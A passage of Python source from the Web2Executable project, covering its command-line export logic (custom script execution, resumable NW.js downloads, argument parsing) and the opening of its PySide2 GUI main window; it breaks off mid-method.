self.logger.debug(bashcontents)\n\n with open(bash_file, 'w+') as f:\n f.write(bashcontents)\n\n command = [bash_file]\n\n return command\n\n def run_script(self, script):\n \"\"\"Run a script specified in the GUI after exporting\n\n Args:\n script: the path of the script to be ran\n \"\"\"\n\n if not script:\n return\n\n if os.path.exists(script):\n self.progress_text = 'Executing script {}...'.format(script)\n contents = ''\n with codecs.open(script, 'r', encoding='utf-8') as f:\n contents = f.read()\n\n _, ext = os.path.splitext(script)\n\n export_opts = self.get_export_options()\n export_dir = '{}{}{}'.format(self.output_dir(),\n os.path.sep,\n self.project_name())\n export_dirs = []\n for opt in export_opts:\n export_dirs.append('{}{}{}'.format(export_dir,\n os.path.sep,\n opt))\n\n command = None\n bat_file = None\n\n export_dict = {'mac-x64_dir': '',\n 'mac-x32_dir': '',\n 'windows-x64_dir': '',\n 'windows-x32_dir': '',\n 'linux-x64_dir': '',\n 'linux-x32_dir': ''}\n\n if ext == '.py':\n command = self.get_python_command(export_dict, export_dir,\n export_dirs, contents)\n elif ext == '.bash':\n command = self.get_bash_command(export_dict, export_dir,\n export_dirs, contents)\n elif ext == '.bat':\n command = self.get_bat_command(export_dict, export_dir,\n export_dirs, contents)\n\n proc = subprocess.Popen(command, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n output, error = proc.communicate()\n output = output.strip()\n error = error.strip()\n\n if bat_file:\n os.remove(bat_file)\n\n with open(config.get_file('script-output.txt'), 'w+') as f:\n f.write('Output:\\n{}'.format(output))\n if error:\n f.write('\\n\\nErrors:\\n{}\\n'.format(error))\n\n self.progress_text = 'Done executing script.'\n else:\n self.progress_text = ('\\nThe script {} does not exist. '\n 'Not running.'.format(script))\n\n\n def export(self, write_json=True):\n \"\"\"Start the exporting process\n\n Kwargs:\n write_json: boolean -> write json output or not\n \"\"\"\n self.get_files_to_download()\n res = self.try_to_download_files()\n if res:\n self.make_output_dirs(write_json)\n script = self.get_setting('custom_script').value\n self.run_script(script)\n self.progress_text = '\\nDone!\\n'\n out_dir = '{}{}{}'.format(self.output_dir(),\n os.path.sep,\n self.project_name())\n self.progress_text = 'Output directory is {}.\\n'.format(out_dir)\n self.delete_files()\n\n def get_export_options(self):\n \"\"\"Get all of the export options selected\"\"\"\n options = []\n for setting_name, setting in self.settings['export_settings'].items():\n if setting.value is True:\n options.append(setting_name)\n return options\n\n def get_files_to_download(self):\n \"\"\"Get all the files needed for download based on export settings\"\"\"\n self.files_to_download = []\n for setting_name, setting in self.settings['export_settings'].items():\n if setting.value is True:\n self.files_to_download.append(setting)\n return True\n\n def try_to_download_files(self):\n if self.files_to_download:\n return self.download_file_with_error_handling()\n\n def continue_downloading_or_extract(self):\n \"\"\"If there are more files to download, continue; otherwise extract\"\"\"\n if self.files_to_download:\n return self.download_file_with_error_handling()\n else:\n self.progress_text = 'Extracting files.'\n return self.extract_files()\n\n def download_file(self, path, setting):\n \"\"\"Download a file from the path and setting\"\"\"\n self.logger.info('Downloading file {}.'.format(path))\n\n location = (self.get_setting('download_dir').value or\n config.download_path())\n\n sdk_build_setting = self.get_setting('sdk_build')\n sdk_build = sdk_build_setting.value\n\n if sdk_build:\n path = utils.replace_right(path, 'nwjs', 'nwjs-sdk', 1)\n\n url = path\n\n file_name = setting.save_file_path(self.selected_version(),\n location, sdk_build)\n\n tmp_file = list(os.path.split(file_name))\n tmp_file[-1] = '.tmp.' + tmp_file[-1]\n tmp_file = os.sep.join(tmp_file)\n tmp_size = 0\n\n archive_exists = os.path.exists(file_name)\n tmp_exists = os.path.exists(tmp_file)\n\n dest_files_exist = False\n\n forced = self.get_setting('force_download').value\n\n if (archive_exists or dest_files_exist) and not forced:\n self.logger.info('File {} already downloaded. '\n 'Continuing...'.format(path))\n return self.continue_downloading_or_extract()\n elif tmp_exists and (os.stat(tmp_file).st_size > 0):\n tmp_size = os.stat(tmp_file).st_size\n headers = {'Range': 'bytes={}-'.format(tmp_size)}\n url = request.Request(url, headers=headers)\n\n web_file = utils.urlopen(url)\n\n f = open(tmp_file, 'ab')\n\n meta = web_file.info()\n file_size = tmp_size + int(meta.get_all(\"Content-Length\")[0])\n\n version = self.selected_version()\n version_file = self.settings['base_url'].format(version)\n\n short_name = path.replace(version_file, '')\n\n MB = file_size/1000000.0\n\n downloaded = ''\n\n if tmp_size:\n self.progress_text = 'Resuming previous download...\\n'\n size = tmp_size/1000000.0\n self.progress_text = 'Already downloaded {:.2f} MB\\n'.format(size)\n\n self.progress_text = ('Downloading: {}, '\n 'Size: {:.2f} MB {}\\n'.format(short_name,\n MB,\n downloaded))\n file_size_dl = (tmp_size or 0)\n block_sz = 8192\n\n while True:\n buff = web_file.read(block_sz)\n if not buff:\n break\n\n file_size_dl += len(buff)\n\n DL_MB = file_size_dl/1000000.0\n percent = file_size_dl*100.0/file_size\n\n f.write(buff)\n\n args = (DL_MB, MB, percent)\n status = \"{:10.2f}/{:.2f} MB [{:3.2f}%]\".format(*args)\n\n self.progress_text = status\n\n self.progress_text = '\\nDone downloading.\\n'\n f.close()\n\n try:\n os.rename(tmp_file, file_name)\n except OSError:\n is_dir = os.path.isdir(file_name)\n if sys.platform.startswith('win32') and not is_dir:\n os.remove(file_name)\n os.rename(tmp_file, file_name)\n else:\n os.remove(tmp_file)\n raise OSError\n\n return self.continue_downloading_or_extract()\n\n def delete_files(self):\n \"\"\"Delete files left over in the data path from downloading\"\"\"\n for ex_setting in self.settings['export_settings'].values():\n f_path = get_data_file_path('files/{}/'.format(ex_setting.name))\n if os.path.exists(f_path):\n utils.rmtree(f_path)\n\n\nclass ArgParser(argparse.ArgumentParser):\n \"\"\"Custom argparser that prints help if there is an error\"\"\"\n def error(self, message):\n sys.stderr.write('error: {}\\n'.format(message))\n sys.exit(2)\n\ndef get_arguments(command_base, args=None):\n \"\"\"Retrieves arguments from the command line\"\"\"\n\n parser = ArgParser(description=('Command line interface '\n 'to web2exe. '\n '{}'.format(config.__version__)),\n prog='web2execmd')\n\n parser.add_argument('project_dir', metavar='project_dir',\n help='The project directory.')\n parser.add_argument('--output-dir', dest='output_dir',\n help='The output directory for exports.')\n parser.add_argument('--quiet', dest='quiet', action='store_true',\n default=False,\n help='Silences output messages')\n parser.add_argument('--verbose', dest='verbose', action='store_true',\n default=False,\n help=('Prints debug errors and messages instead '\n 'of logging to files/errors.log'))\n parser.add_argument('--package-json',\n dest='load_json',\n nargs='?',\n default='',\n const=True,\n help=('Loads the package.json '\n 'file in the project directory. '\n 'Ignores other command line arguments.'))\n parser.add_argument('--cmd-version', action='version',\n version='%(prog)s {}'.format(config.__version__))\n\n generate_setting_args(command_base, parser)\n\n export_args = [arg for arg in command_base.settings['export_settings']]\n parser.add_argument('--export-to', dest='export_options',\n nargs='+', required=True,\n choices=export_args,\n help=('Choose at least one system '\n 'to export to.'))\n\n if args:\n return parser.parse_args(args)\n\n return parser.parse_args()\n\ndef generate_setting_args(command_base, parser):\n \"\"\"\n Generate arguments based on the contents of settings.cfg\n\n Args:\n command_base (CommandBase): An instance of the CommandBase class\n that has been initialized\n parser (ArgParser): An instance of the ArgParser class that will hold\n the generated arguments\n \"\"\"\n setting_dicts = (command_base.settings['setting_groups'] +\n [command_base.settings['compression']])\n for setting_group_dict in setting_dicts:\n for setting_name, setting in setting_group_dict.items():\n kwargs = {}\n\n # Set the default values and required values\n # Special case when handling project name\n if setting_name == 'name':\n kwargs.update({'default': command_base.project_name})\n else:\n kwargs.update({'required': setting.required})\n if setting.default_value is not None:\n kwargs.update({'default': setting.default_value})\n action = 'store'\n option_name = setting_name.replace('_', '-')\n\n if isinstance(setting.default_value, bool):\n action = ('store_true' if setting.default_value is False\n else 'store_false')\n kwargs.update({'action': action})\n if setting.default_value is True:\n option_name = 'disable-{}'.format(option_name)\n else:\n if setting.values:\n kwargs.update({'choices': setting.values})\n possible_vals = ', '.join([str(x) for x in setting.values])\n val_desc = ' Possible values: {{{}}}'.format(possible_vals)\n setting.description += val_desc\n kwargs.update({'metavar': ''})\n else:\n kwargs.update({'metavar':\n '<{}>'.format(setting.display_name)})\n\n parser.add_argument(\n '--{}'.format(option_name),\n dest=setting_name,\n # Ignore any percent signs in the description.\n help=setting.description.replace('%', '%%'),\n **kwargs\n )\n\ndef setup_logging(args, command_base):\n \"\"\"Setup debug logging for CMD\"\"\"\n import logging\n import logging.handlers as lh\n\n if args.verbose:\n logging.basicConfig(\n stream=sys.stdout,\n format=(\"%(levelname) -6s %(module)s.py %(lineno)s: \"\n \"%(message)s\"),\n level=logging.DEBUG\n )\n\n\n config.logger = config.getLogger('CMD Logger')\n\n def my_excepthook(type_, value, tback):\n exc_format = traceback.format_exception(type_, value, tback)\n output_err = ''.join([x for x in exc_format])\n config.logger.error('{}'.format(output_err))\n sys.__excepthook__(type_, value, tback)\n\n sys.excepthook = my_excepthook\n\n command_base.logger = config.logger\n\n if args.quiet:\n command_base.quiet = True\n\ndef setup_project_name(args, command_base):\n \"\"\"Set the project name and app name from args\"\"\"\n if args.app_name is None:\n args.app_name = command_base.project_name()\n\n if args.name is not None:\n setting = command_base.get_setting('name')\n args.name = setting.filter_name(args.name if not callable(args.name)\n else args.name())\n\n command_base._project_name = (args.app_name if not callable(args.app_name)\n else args.app_name())\n\n if not args.title:\n args.title = command_base.project_name()\n\n if not args.id:\n args.id = command_base.project_name()\n\ndef setup_directories(args, command_base):\n \"\"\"Setup the project and output directories from args\"\"\"\n command_base._project_dir = args.project_dir\n\n command_base._output_dir = (args.output_dir or\n utils.path_join(command_base._project_dir,\n 'output'))\n\ndef read_package_json_file(args, command_base):\n \"\"\"Either load project json or load custom json from file\"\"\"\n if args.load_json is True:\n command_base.load_package_json()\n elif args.load_json:\n # Load json is a path, so load JSON from the specified file\n command_base.load_package_json(args.load_json)\n\ndef initialize_setting_values(args, command_base):\n for name, val in args._get_kwargs():\n if callable(val):\n val = val()\n if name == 'export_options':\n for opt in val:\n setting = command_base.get_setting(opt)\n if setting is not None:\n setting.value = True\n else:\n setting = command_base.get_setting(name)\n if setting is not None:\n setting.value = val\n\ndef main(args=None):\n \"\"\"Main setup and argument parsing\"\"\"\n command_base = CommandBase()\n command_base.init()\n\n args = get_arguments(command_base, args)\n\n setup_logging(args, command_base)\n setup_directories(args, command_base)\n setup_project_name(args, command_base)\n\n initialize_setting_values(args, command_base)\n\n read_package_json_file(args, command_base)\n\n # Never write package.json on command line. Only load it.\n command_base.export(write_json=False)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5751150250434875, "alphanum_fraction": 0.5785167217254639, "avg_line_length": 37.001708984375, "blob_id": "d36c56c1b229c5209d21eb85a7d2cbfcde648b1a", "content_id": "c04ba7acec873696aaf522f70cbcb93be4bc5159", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 66731, "license_type": "permissive", "max_line_length": 96, "num_lines": 1756, "path": "/main.py", "repo_name": "jyapayne/Web2Executable", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"Web2Executable\n\nAn application that creates cross platform executables from HTML and Nodejs\nweb applications powered by NW.js.\n\nThis is the main module that handles all the GUI interaction and generation.\nThe GUI is automatically generated from the config file located in\n`files/settings.cfg`.\n\nSince the GUI is automatically generated, the settings.cfg contains many\nconfiguration options for each element. Also, this class is set up so that\nany time a user interacts with an element in the GUI, the underlying data\nis modified and can be accessed via\n``self.get_setting(\"setting_name_from_settings_cfg\").value``.\n\nRun Example:\n All that is needed to run the following after running instructions in\n `SETUP.md`.\n\n $ python3.4 main.py\n\n\"\"\"\nimport os\nimport glob\nimport sys\nimport re\nimport logging\nimport platform\n\nimport config\n\nimport utils\nfrom utils import log, open_folder_in_explorer, is_windows\n\nfrom config import get_file\nfrom config import __version__ as __gui_version__\n\nfrom util_classes import ExistingProjectDialog\nfrom util_classes import BackgroundThread, Validator\nfrom util_classes import CompleterLineEdit, TagsCompleter\nfrom util_classes import TreeBrowser\n\nfrom PySide2 import QtGui, QtCore, QtWidgets\nfrom PySide2.QtWidgets import (QApplication, QHBoxLayout, QVBoxLayout, QMainWindow)\nfrom PySide2 import QtNetwork\nfrom PySide2.QtCore import Qt, QUrl, QFile, QIODevice, QCoreApplication\nfrom PySide2.QtNetwork import QNetworkReply, QNetworkRequest, QNetworkAccessManager\n\nfrom image_utils.pycns import pngs_from_icns\n\nfrom command_line import CommandBase\n\nclass MainWindow(QMainWindow, CommandBase):\n \"\"\"The main window of Web2Executable.\"\"\"\n\n def update_nw_versions(self, button=None):\n \"\"\"Update NW version list in the background.\"\"\"\n self.get_versions_in_background()\n\n def update_recent_files(self):\n \"\"\"Update the recent files list in the menu bar.\"\"\"\n previous_files = utils.load_recent_projects()\n self.recent_separator.setVisible(len(previous_files) > 0)\n for i, prev_file in enumerate(previous_files):\n text = '{} - {}'.format(i+1, os.path.basename(prev_file))\n action = self.recent_file_actions[i]\n action.setText(text)\n action.setData(prev_file)\n action.setVisible(True)\n\n def __init__(self, width, height, app, parent=None):\n super(MainWindow, self).__init__(parent)\n CommandBase.__init__(self, quiet=True)\n\n self.script_line = None\n self.output_line = None\n self.output_name_line = None\n\n self.download_bar_widget = None\n self.app_settings_widget = None\n self.comp_settings_widget = None\n self.win_settings_widget = None\n self.ex_settings_widget = None\n self.dl_settings_widget = None\n self.project_info_widget = None\n\n self.warning_settings_icon = None\n self.app_settings_icon = None\n self.win_settings_icon = None\n self.ex_settings_icon = None\n self.comp_settings_icon = None\n self.download_settings_icon = None\n\n self.tab_icons = None\n\n self.progress_label = None\n self.progress_bar = None\n self.cancel_button = None\n self.open_export_button = None\n\n self.http = None\n self.ex_button = None\n\n self.extract_error = None\n\n self.options_enabled = False\n self.output_package_json = True\n self.update_json = False\n self.original_packagejson = {}\n\n self.thread = None\n self.readonly = False\n\n self.recent_file_actions = []\n self.project_path = ''\n\n self.tab_index_dict = {\n 'app_settings': 0,\n 'webkit_settings': 0,\n 'window_settings': 1,\n 'export_settings': 2,\n 'web2exe_settings': 2,\n 'compression': 3,\n 'download_settings': 4\n }\n\n recent_projects = utils.load_recent_projects()\n\n self.existing_dialog = ExistingProjectDialog(recent_projects,\n self.load_project,\n parent=self)\n\n # initialize application to middle of screen\n drect = app.primaryScreen().availableGeometry()\n center = drect.center()\n self.move(center.x() - self.width()*0.5,\n center.y() - self.height()*0.5)\n\n self.icon_style = ('width:48px;height:48px;background-color:white;'\n 'border-radius:5px;border:1px solid rgb(50,50,50);')\n\n self.last_project_dir = utils.load_last_project_path()\n\n status_bar = QtWidgets.QStatusBar()\n self.setStatusBar(status_bar)\n\n self.setup_project_menu()\n\n self.logger = config.getLogger(__name__)\n\n self.gui_app = app\n self.desktop_width = drect.width()\n self.desktop_height = drect.height()\n\n self.setWindowIcon(QtGui.QIcon(get_file(config.ICON_PATH)))\n\n self.setup_nw_versions()\n\n self.resize(width, height)\n\n self.create_application_layout()\n\n self.option_settings_enabled(False)\n\n self.setWindowTitle(u\"Web2Executable {}\".format(__gui_version__))\n self.update_nw_versions(None)\n\n def setup_project_menu(self):\n \"\"\"Set up the project menu bar with actions.\"\"\"\n self.project_menu = self.menuBar().addMenu('File')\n self.edit_menu = self.menuBar().addMenu('Edit')\n\n browse_action = QtWidgets.QAction('Open Project', self.project_menu,\n shortcut=QtGui.QKeySequence.Open,\n statusTip='Open an existing or new project.',\n triggered=self.browse_dir)\n\n toggle_readonly_action = QtWidgets.QAction('Toggle Readonly',\n self.edit_menu,\n shortcut='Ctrl+R',\n statusTip='Toggle Readonly',\n triggered=self.toggle_readonly)\n\n self.edit_menu.addAction(toggle_readonly_action)\n self.project_menu.addAction(browse_action)\n self.project_menu.addSeparator()\n\n # Display last 10 projects\n for i in range(config.MAX_RECENT):\n if i == 9:\n # Display 0 last\n key = 0\n else:\n key = i+1\n action = QtWidgets.QAction(self, visible=False,\n triggered=self.open_recent_file,\n shortcut=QtGui.QKeySequence('Ctrl+{}'.format(key)))\n self.recent_file_actions.append(action)\n self.project_menu.addAction(action)\n\n self.recent_separator = self.project_menu.addSeparator()\n\n self.update_recent_files()\n\n exit_action = QtWidgets.QAction('Exit', self.project_menu)\n exit_action.triggered.connect(self.close)\n self.project_menu.addAction(exit_action)\n\n def open_recent_file(self):\n \"\"\"Loads a project based on the most recent file selected.\"\"\"\n action = self.sender()\n if action:\n self.load_project(action.data())\n\n def create_application_layout(self):\n \"\"\"Create all widgets and set the central widget.\"\"\"\n self.main_layout = QtWidgets.QVBoxLayout()\n self.tab_widget = QtWidgets.QTabWidget()\n self.main_layout.setContentsMargins(10, 5, 10, 5)\n\n self.create_layout_widgets()\n\n self.add_widgets_to_main_layout()\n\n w = QtWidgets.QWidget()\n w.setLayout(self.main_layout)\n\n self.setCentralWidget(w)\n\n def create_layout_widgets(self):\n \"\"\"Create individual layouts that are displayed in tabs.\"\"\"\n self.download_bar_widget = self.create_download_bar()\n self.app_settings_widget = self.create_application_settings()\n self.comp_settings_widget = self.create_compression_settings()\n self.win_settings_widget = self.create_window_settings()\n self.ex_settings_widget = self.create_export_settings()\n self.dl_settings_widget = self.create_download_settings()\n self.project_info_widget = self.create_project_info()\n\n def add_widgets_to_main_layout(self):\n \"\"\"Add all of the widgets and icons to the main layout.\"\"\"\n self.warning_settings_icon = QtGui.QIcon(get_file(config.WARNING_ICON))\n self.app_settings_icon = QtGui.QIcon(get_file(config.APP_SETTINGS_ICON))\n self.win_settings_icon = QtGui.QIcon(get_file(config.WINDOW_SETTINGS_ICON))\n self.ex_settings_icon = QtGui.QIcon(get_file(config.EXPORT_SETTINGS_ICON))\n self.comp_settings_icon = QtGui.QIcon(get_file(config.COMPRESS_SETTINGS_ICON))\n self.download_settings_icon = QtGui.QIcon(get_file(config.DOWNLOAD_SETTINGS_ICON))\n\n self.tab_icons = [self.app_settings_icon,\n self.win_settings_icon,\n self.ex_settings_icon,\n self.comp_settings_icon,\n self.download_settings_icon]\n\n self.main_layout.addWidget(self.project_info_widget)\n self.tab_widget.addTab(self.app_settings_widget,\n self.app_settings_icon,\n 'App Settings')\n self.tab_widget.addTab(self.win_settings_widget,\n self.win_settings_icon,\n 'Window Settings')\n self.tab_widget.addTab(self.ex_settings_widget,\n self.ex_settings_icon, 'Export Settings')\n self.tab_widget.addTab(self.comp_settings_widget,\n self.comp_settings_icon,\n 'Compression Settings')\n self.tab_widget.addTab(self.dl_settings_widget,\n self.download_settings_icon,\n 'Download Settings')\n\n self.main_layout.addWidget(self.tab_widget)\n self.main_layout.addLayout(self.download_bar_widget)\n\n def toggle_readonly(self):\n self.readonly = not self.readonly\n\n self.app_settings_widget.setEnabled(not self.readonly)\n self.win_settings_widget.setEnabled(not self.readonly)\n\n def option_settings_enabled(self, is_enabled):\n \"\"\"\n Set all settings widgets to either be enabled or disabled.\n\n This is used to enable/disable the entire GUI except for loading\n new projects so the user can't interact with it.\n \"\"\"\n self.ex_button.setEnabled(is_enabled)\n self.app_settings_widget.setEnabled(is_enabled)\n self.win_settings_widget.setEnabled(is_enabled)\n if self.readonly:\n self.app_settings_widget.setEnabled(False)\n self.win_settings_widget.setEnabled(False)\n self.ex_settings_widget.setEnabled(is_enabled)\n self.comp_settings_widget.setEnabled(is_enabled)\n self.dl_settings_widget.setEnabled(is_enabled)\n self.options_enabled = is_enabled\n\n def export(self):\n \"\"\"Start an export after the user clicks 'Export'.\"\"\"\n self.get_files_to_download()\n self.try_to_download_files()\n\n def open_export(self):\n \"\"\"Open the export folder in the file explorer.\"\"\"\n open_folder_in_explorer(self.output_dir())\n\n def try_to_download_files(self):\n \"\"\"\n If there are files that need to be downloaded, this attempts to\n retrieve them. If any errors occur, display them, cancel the\n download and reenable the UI.\n \"\"\"\n if self.files_to_download:\n self.progress_bar.setVisible(True)\n self.cancel_button.setEnabled(True)\n self.disable_ui_while_working()\n\n self.download_file_with_error_handling()\n else:\n # This shouldn't happen since we disable the UI if there are no\n # options selected\n # But in the weird event that this does happen, we are prepared!\n QtWidgets.QMessageBox.information(self,\n 'Export Options Empty!',\n ('Please choose one of '\n 'the export options!'))\n\n def selected_version(self):\n \"\"\"Get the currently selected version.\"\"\"\n return self.get_setting('nw_version').value\n\n def enable_ui_after_error(self):\n \"\"\"\n This will reenable the UI and hide the progress bar in the event\n of an error.\n \"\"\"\n self.enable_ui()\n self.progress_text = ''\n self.progress_bar.setVisible(False)\n self.cancel_button.setEnabled(False)\n\n def show_error(self, exception):\n \"\"\"\n Show an error with QMessageBox. Does not work when not\n in the UI thread (ie: when downloading files)!\n\n Args:\n exception (Exception): an error that has occurred\n \"\"\"\n QtWidgets.QMessageBox.information(self, 'Error!', exception)\n\n def disable_ui_while_working(self):\n self.option_settings_enabled(False)\n self.project_info_widget.setEnabled(False)\n\n def enable_ui(self):\n self.option_settings_enabled(True)\n self.project_info_widget.setEnabled(True)\n\n def get_tab_index_for_setting_name(self, name):\n \"\"\"Return the tab index based on the name of the setting.\"\"\"\n for setting_group_name, setting_group in self._setting_items:\n if name in setting_group:\n return self.tab_index_dict.get(setting_group_name, None)\n\n def required_settings_filled(self, ignore_options=False):\n \"\"\"\n Determines if there are any issues in the currently filled out\n settings. If there are issues, error fields are highlighted.\n \"\"\"\n\n if not self.options_enabled and not ignore_options:\n return False\n\n settings_valid = self.settings_valid()\n\n export_chosen = False\n for setting in self.settings['export_settings'].values():\n if setting.value:\n export_chosen = True\n\n if not settings_valid:\n return export_chosen and settings_valid\n\n # check export settings to make sure at least one is checked\n for setting in self.settings['export_settings'].values():\n if not export_chosen:\n widget = self.find_child_by_name(setting.name)\n if widget is not None:\n widget.setStyleSheet('QCheckBox{border:3px solid '\n 'rgba(238, 68, 83, 200); '\n 'border-radius:5px;}')\n widget.setToolTip('At least one of these '\n 'options should be selected.')\n tab = self.get_tab_index_for_setting_name(setting.name)\n self.tab_widget.setTabIcon(tab, self.warning_settings_icon)\n else:\n widget = self.find_child_by_name(setting.name)\n if widget is not None:\n widget.setStyleSheet('')\n widget.setToolTip('')\n tab = self.get_tab_index_for_setting_name(setting.name)\n self.tab_widget.setTabIcon(tab, self.tab_icons[tab])\n\n return export_chosen and settings_valid\n\n def settings_valid(self):\n \"\"\"Determines if settings that are filled out in the GUI are valid.\n\n Displays a red border on any setting that is invalid and a warning\n icon on the corresponding tab.\n \"\"\"\n\n red_border = ('QLineEdit{border:3px solid rgba(238, 68, 83, 200); '\n 'border-radius:5px;}')\n\n settings_valid = True\n for sgroup in self.settings['setting_groups']+[self.settings['web2exe_settings']]:\n for _, setting in sgroup.items():\n if setting.value:\n if setting.type in set(['file', 'folder']) and os.path.isabs(setting.value):\n setting_path = setting.value\n else:\n setting_path = utils.path_join(self.project_dir(),\n setting.value)\n\n if setting.required and not setting.value:\n settings_valid = False\n widget = self.find_child_by_name(setting.name)\n if widget is not None:\n widget.setStyleSheet(red_border)\n widget.setToolTip('This setting is required.')\n tab = self.get_tab_index_for_setting_name(setting.name)\n self.tab_widget.setTabIcon(tab, self.warning_settings_icon)\n\n if setting.type == 'int' and setting.value != '':\n try:\n int(setting.value or '0')\n except ValueError:\n settings_valid = False\n widget = self.find_child_by_name(setting.name)\n if widget is not None:\n widget.setStyleSheet(red_border)\n tip = 'The value {} must be an integer.'.format(setting.value)\n widget.setToolTip(tip)\n tab = self.get_tab_index_for_setting_name(setting.name)\n self.tab_widget.setTabIcon(tab, self.warning_settings_icon)\n\n if (setting.type == 'file' and\n setting.value):\n setting_path_invalid = not os.path.exists(setting_path)\n setting_url_invalid = not utils.url_exists(setting.value)\n if setting_path_invalid and setting_url_invalid:\n log(setting.value, \"does not exist\")\n settings_valid = False\n widget = self.find_child_by_name(setting.name)\n if widget is not None:\n widget.setStyleSheet(red_border)\n tip = 'The file or url \"{}\" does not exist.'.format(setting.value)\n widget.setToolTip(tip)\n tab = self.get_tab_index_for_setting_name(setting.name)\n self.tab_widget.setTabIcon(tab, self.warning_settings_icon)\n\n if (setting.type == 'folder' and\n setting.value and\n not os.path.exists(setting_path)):\n settings_valid = False\n widget = self.find_child_by_name(setting.name)\n if widget is not None:\n widget.setStyleSheet(red_border)\n widget.setToolTip('The folder \"{}\" does not exist'.format(setting_path))\n tab = self.get_tab_index_for_setting_name(setting.name)\n self.tab_widget.setTabIcon(tab, self.warning_settings_icon)\n if settings_valid:\n widget = self.find_child_by_name(setting.name)\n if widget is not None:\n widget.setStyleSheet('')\n widget.setToolTip('')\n tab = self.get_tab_index_for_setting_name(setting.name)\n self.tab_widget.setTabIcon(tab, self.tab_icons[tab])\n\n return settings_valid\n\n def project_dir(self):\n return self.project_path\n\n def output_dir(self):\n \"\"\"Get the project output directory.\"\"\"\n if hasattr(self, 'output_line'):\n if os.path.isabs(self.output_line.text()):\n return self.output_line.text()\n else:\n return utils.path_join(self.project_dir(),\n self.output_line.text())\n return ''\n\n def create_download_bar(self):\n \"\"\"\n Create the bottom bar of the GUI with the progress bar and\n export button.\n \"\"\"\n hlayout = QtWidgets.QHBoxLayout()\n\n vlayout = QtWidgets.QVBoxLayout()\n vlayout.setContentsMargins(5, 5, 5, 5)\n vlayout.setSpacing(5)\n hlayout.setSpacing(5)\n hlayout.setContentsMargins(5, 5, 5, 5)\n\n progress_label = QtWidgets.QLabel('')\n progress_bar = QtWidgets.QProgressBar()\n progress_bar.setVisible(False)\n progress_bar.setContentsMargins(5, 5, 5, 5)\n\n vlayout.addWidget(progress_label)\n vlayout.addWidget(progress_bar)\n vlayout.addWidget(QtWidgets.QLabel(''))\n\n ex_button = QtWidgets.QPushButton('Export')\n ex_button.setEnabled(False)\n\n cancel_button = QtWidgets.QPushButton('Cancel Download')\n cancel_button.setEnabled(False)\n\n open_export_button = QtWidgets.QPushButton()\n open_export_button.setEnabled(False)\n open_export_button.setIcon(QtGui.QIcon(get_file(config.FOLDER_OPEN_ICON)))\n open_export_button.setToolTip('Open Export Folder')\n open_export_button.setStatusTip('Open Export Folder')\n open_export_button.setMaximumWidth(30)\n open_export_button.setMaximumHeight(30)\n\n ex_button.clicked.connect(self.export)\n cancel_button.clicked.connect(self.cancel_download)\n open_export_button.clicked.connect(self.open_export)\n\n button_box = QtWidgets.QDialogButtonBox()\n button_box.addButton(open_export_button, QtWidgets.QDialogButtonBox.NoRole)\n button_box.addButton(cancel_button, QtWidgets.QDialogButtonBox.RejectRole)\n button_box.addButton(ex_button, QtWidgets.QDialogButtonBox.AcceptRole)\n\n hlayout.addLayout(vlayout)\n hlayout.addWidget(button_box)\n\n self.progress_label = progress_label\n self.progress_bar = progress_bar\n self.cancel_button = cancel_button\n self.open_export_button = open_export_button\n\n self.http_request_aborted = True\n self.download_error = None\n\n self.downloading_file = QFile()\n self.current_download_request = None\n self.net_manager = QNetworkAccessManager()\n self.net_manager.finished[QNetworkReply].connect(self.download_finished)\n\n self.ex_button = ex_button\n\n return hlayout\n\n def download_finished(self, *args, **kwargs):\n \"\"\"\n After the request is finished, keep downloading files if they exist.\n If all files are done downloading, start extracting them.\n \"\"\"\n self.downloading_file.close()\n self.current_download_request.deleteLater()\n\n self.http_request_aborted = True\n self.enable_ui()\n self.progress_bar.reset()\n self.progress_bar.setVisible(False)\n\n if not self.download_error:\n self.continue_downloading_or_extract()\n else:\n self.download_error = None\n\n def continue_downloading_or_extract(self):\n \"\"\"Keep downloading files if they exist, otherwise extract.\"\"\"\n if self.files_to_download:\n self.progress_bar.setValue(0)\n self.progress_bar.setVisible(True)\n self.cancel_button.setEnabled(True)\n self.disable_ui_while_working()\n\n self.download_file_with_error_handling()\n else:\n self.progress_text = 'Done.'\n self.cancel_button.setEnabled(False)\n self.progress_bar.setValue(0)\n self.progress_bar.setVisible(False)\n self.extract_files_in_background()\n\n @property\n def progress_text(self):\n \"\"\"Lets the user see progress on the GUI as tasks are performed.\"\"\"\n return self.progress_label.text()\n\n @progress_text.setter\n def progress_text(self, value):\n self.progress_label.setText(value)\n\n def run_in_background(self, method_name, callback):\n \"\"\"\n Run any method in this class in the background, then\n call the callback.\n\n Args:\n method_name (string): the name of a method on self\n callback (function): the function to run in the background\n \"\"\"\n self.thread = BackgroundThread(self, method_name)\n self.thread.finished.connect(callback)\n self.thread.start()\n\n def get_versions_in_background(self):\n self.ex_button.setEnabled(False)\n self.run_in_background('get_versions', self.done_getting_versions)\n\n def done_getting_versions(self):\n \"\"\"\n After getting versions, enable the UI and update the\n versions combobox.\n \"\"\"\n self.ex_button.setEnabled(self.required_settings_filled())\n self.progress_text = 'Done retrieving versions.'\n\n nw_version = self.get_setting('nw_version')\n combo = self.find_child_by_name(nw_version.name)\n\n combo.clear()\n combo.addItems(nw_version.values)\n\n def make_output_files_in_background(self):\n self.ex_button.setEnabled(False)\n self.run_in_background('make_output_dirs', self.done_making_files)\n\n def run_custom_script(self):\n \"\"\"Run the custom script setting\"\"\"\n script = self.get_setting('custom_script').value\n self.run_script(script)\n\n def script_done(self):\n self.ex_button.setEnabled(self.required_settings_filled())\n self.enable_ui()\n self.progress_text = 'Done!'\n\n def done_making_files(self):\n \"\"\"\n After creating files and directories, show an error if it exists,\n otherwise run the user's custom script.\n \"\"\"\n self.ex_button.setEnabled(self.required_settings_filled())\n\n self.tree_browser.refresh()\n\n self.progress_text = 'Done Exporting.'\n self.delete_files()\n\n if self.output_err:\n self.show_error(self.output_err)\n self.enable_ui_after_error()\n self.output_err = ''\n else:\n self.progress_text = 'Running custom script...'\n self.ex_button.setEnabled(False)\n self.run_in_background('run_custom_script', self.script_done)\n\n def extract_files_in_background(self):\n self.progress_text = 'Extracting.'\n self.ex_button.setEnabled(False)\n\n self.run_in_background('extract_files', self.done_extracting)\n\n def done_extracting(self):\n self.ex_button.setEnabled(self.required_settings_filled())\n if self.extract_error:\n self.progress_text = 'Error extracting.'\n self.show_error('There were one or more 